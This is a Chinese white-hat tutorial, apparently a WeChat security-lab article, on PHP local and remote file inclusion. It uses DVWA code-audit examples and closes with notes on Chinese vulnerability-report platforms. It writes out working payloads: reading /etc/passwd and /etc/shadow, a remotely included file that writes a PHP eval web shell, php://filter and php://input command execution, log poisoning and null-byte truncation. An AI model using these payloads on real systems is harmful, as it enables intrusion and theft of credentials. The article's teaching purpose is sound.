查看原文
其他

白帽子挖洞—文件包含(File Inclusion )

2017-09-13 Yale 合天智汇

点击“合天智汇”关注,学习网安干货

0x00   介绍

文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。


文件包含分为两类:

本地文件包含 当被包含的文件在服务器本地时,就形成本地文件包含;

远程文件包含 当被包含的文件在第三方服务器时,叫做远程文件包含 


该漏洞涉及到php常见包含文件函数包括:


include() 

当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行 


include_once() 

功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次 


require() 

require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行 。使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到函数时才调用 .require()在php程序执行前执行,会先读入 require 所指定引入的文件,使它变成 PHP 程序网页的一部份。

 

require_once() 

它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次


本系列的上一篇文章介绍了文件上传,这一篇介绍的是文件包含,那么这两个漏洞有什么区别呢?


文件包含漏洞:攻击者利用了包含的特性,再加上了应用本身对文件控制不严,对include进来的文件不可控,最终造成了攻击者进行任意文件包含。包含进来的文件都以当前脚本文件解析,比如,我们当前测试系统是Apache加php环境,那么被include进来的文件,不管是什么类型,比如说图片,文本文档,这些文件被包含以后,都会被当做php脚本来解析。


文件上传漏洞:攻击者上传了一个可执行的脚本文件,通过此脚本文件获得了执行服务器端命令的功能。文件上传是否会产生漏洞关键在于服务器怎么来处理,怎么来解析这个文件。如果说服务器处理的模式不够安全,那么就会导致严重的后果,也就是上传了恶意的可执行文件以后,服务器端对此文件进行执行。


一句话总结下:文件包含和文件上传本身不是漏洞,但是,由于对include进来的文件不可控,所以产生了文件包含漏洞,由于对上传文件的解析、处理有不注意导致了文件上传漏洞。


对于初学者而言,找漏洞最好是基于白盒审计进行,所谓白盒审计可以简单地理解为就是看着代码找漏洞,那么在正式挖洞前,我们先看看开源的DVWA给出的四种级别的文件包含的源代码。


0x01  基于dvwa的代码审计

DVWA 的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到入门级别的代码审计的内容。

DWVA界面


Low级别代码

可以看到:

代码对page参数没有做任何的过滤,检查等操作,这样我们就可以自己构造恶意url来利用此漏洞

 

Medium级别代码:

可以看到:

代码中调用了str_replace函数,利用该函数对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,减小了一定几率的代码利用,不过我们还是可以利用双写等措施来绕过替换规则


High级别代码:

可以看到:

代码调用了fnmatch函数检查page参数,该函数要求page参数的开头必须是file,否则报错。那么我们可以尝试利用file协议来绕过防护策略


 Impossible级别代码:

可以看到:

代码引入了白名单机制进行防护,要求page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,希望借此来控制文件包含漏洞的利用


0x02  挖掘漏洞

注:下文的提到的漏洞均已获授权进行测试,并交由厂商修复。

先来看一个很常见的例子也是最简单的文件包含漏洞利用的方式

我们直接在url上修改参数即可


前一张截图我们修改path为/etc/hosts

下面我们修改为/etc/passwd


通过这种方式,系统的关键信息都被我们读出来了


再来看一个卖保险的公司爆出的漏洞

主界面


修改参数RealPath=/etc/hosts


修改参数RealPath=/etc/passwd


修改参数RealPath=/etc/shadow


修改参数RealPath=/root/.bash_history


第三个漏洞也是一样


直接列出来查看口令文件


总结:以上导致漏洞产生的代码级别相当于dvwa中的Low级别。

Ps.表弟代码不精,封装无力,架构松散,Debug迟缓,关于文件包含漏洞的利用姿势确实接触的比较少,欢迎各位大佬来freestyle,show下其他姿势


0x03  资源推荐

合天网安实验室相关实验:

CTF-WEB文件包含及注入:http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014110420381800001


文件包含漏洞:

http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015060917272000001


本地包含漏洞实例:http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2016090811365800001


0x04  经验心得

表弟平时接触比较多的就是本地文件包含,所以这里给大家介绍写本地文件包含的利用技巧吧

1.读取敏感文件

访问URL:http://www.test.com/index.php?page=/etc/passwd

如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容。反之,就会得到一个类似于;open_basedir restriction in effect的警告。


2.远程包含Shell

如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,如:http://www.test.com/echo.txt,


代码如下:

<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[yale]);?>");?>

访问:http://www.example.com/index.php?page=http://www.test.com/echo.txt。将会在index.php所在的目录下生成shell.php,内容为:

<?php eval($_POST[xxser]);?>


3.本地包含配合文件上传

假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg


图片代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POSTyale]);?>");?>

访问URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php。


4.使用PHP封装协议

4.1 使用封装协议读取PHP文件

例子如下:http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php

访问URL,得到经过Base64加密后的字符串,这段代码就是Base64加密过后的PHP源代码,解密后就可得到原本的“样貌”。


4.2 写入PHP文件

在allow_url_include为On时,构造URL:http://www.example.com/index.php?page=php://input,并且提交数据为:<?php system('net user');?>

会得到net user命令的结果。


5.包含Apache日志文件

Apache有两个日志文件:access.log(访问日志)和error.log(错误日志)。攻击者先访问http://www.example.com/<?php phpinfo();?>,操作这一步时,需要使用Burp抓包改包,否则<,>,空格都会被转码。随后访问http://www.test.com/index.php?page=./../Apache-20/logs/access.log,使用这种方式时,找到Apache的路径是关键。


6.截断包含

<?php

if(isset($_GET['page'])){

include $_GET['page'].".php";

}else{

include 'home.php';

}

?>

如果此时存在一个图片木马,名为1.jpg,

可以输入如下URL:http://www.example.com/index.php?page=1.jpg%00


当然这种方法只适用于magic_quotes_gpc=Off的情况下。


0x05  漏洞提交平台注意事项

什么?你以为表弟要像前几篇一样要“发表声明”了吗?NONONO,感觉今天的稿子写到这就这么短要被小姐姐小哥哥杀了祭天,为了生命安全,还是加点彩蛋吧。

 

首先和小伙伴预告一下,这一系列的文章到此篇为止,比较经典的漏洞我们都已经分析了,在接下来的两至三篇或者四篇(还没开始动笔呢,(*^__^*) )文章中我们将会介绍一些“小”漏洞,包括但不限于目录遍历,信息泄露,解析漏洞,权限绕过等,然后再用两篇左右的篇幅介绍之前介绍过的通用型漏洞的组合攻击。之后,在花3篇文章介绍事件型漏洞的挖掘,最后,会用两篇文章介绍批量化的挖掘漏洞的技巧(包括poscuite、poc-t、python大法等)来结束本系列的文章,小伙伴们敬请期待哟~~

 

好了,回到正题。我们在接下来的篇幅里将会介绍几个表弟经常提交漏洞的平台以及分享相关经验。

 

1.    补天

说起漏洞提交平台,大家第一印象想到的就是wooyun,可是“正在升级中”呀,这时候很多白帽子们就会选择补天。

补天主页


基本上挖到的影响大一些的通用漏洞都会交到补天


上图是漏洞提交页面。这里需要注意的是,很多时候我们都是用一些脚本什么的去自动化挖掘的,这时候往往我们只知道ip地址,不知道域名,这就很尴尬了,因为在补天提交漏洞必须要提交厂商名称。并且注意,在提交漏洞描述时千万不要涉及敏感信息。


1.    Edusrc(教育行业漏洞报告平台)

教育行业漏洞报告平台主页:


这个平台是上海交通大学的负责的,基本上高校爆出的漏洞都会在这里被提交,而白帽子们也可以通过这个平台提交漏洞换rank,拿rank换奖品。(偷偷告诉你,平台上200rmb的某东礼品卡很火哟,好多大佬使上python大法了都抢不到)在这个平台的官方群里,潜伏着很多高校的大佬,群里混熟了,到时候打CTF线下面基也是极好的。给大家看看edusrc的礼品



1.    CNVD(国家信息安全漏洞共享平台)


国家级的就不用我多说了吧。一般表弟挖到事件型的漏洞都会提交给CNVD,为什呢?因为方便,大家看看漏洞提交界面就知道了


我们在漏洞附件处上传一个有漏洞详情的word就可以了,是不是so easy?

一旦事件型原创漏洞通过审核,cnvd会提供原创漏洞编号和证书,这些都白帽子来讲都是荣誉呢。这是当年年少无知时提交的


表弟平时就是玩以上提到的三个平台,至于各大SRC,小伙伴们就看心情吧。一些SRC还是很土豪的,为了避免植入广告的嫌疑,这里都不提了。

 

0x06  声明

本系列文章旨在普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征、挖掘技巧等。若读者因此做出危害网络安全的行为后果自负,与合天智汇及本人无关,特此声明。


别忘了投稿哟!!!

合天公众号开启原创投稿啦!!!

大家有好的技术原创文章。

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。

有才能的你快来投稿吧!


合天网安实验室

网址 : www.hetianlab.com

电话:4006-123-731

长按图片,据说只有颜值高的人才能识别哦→


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存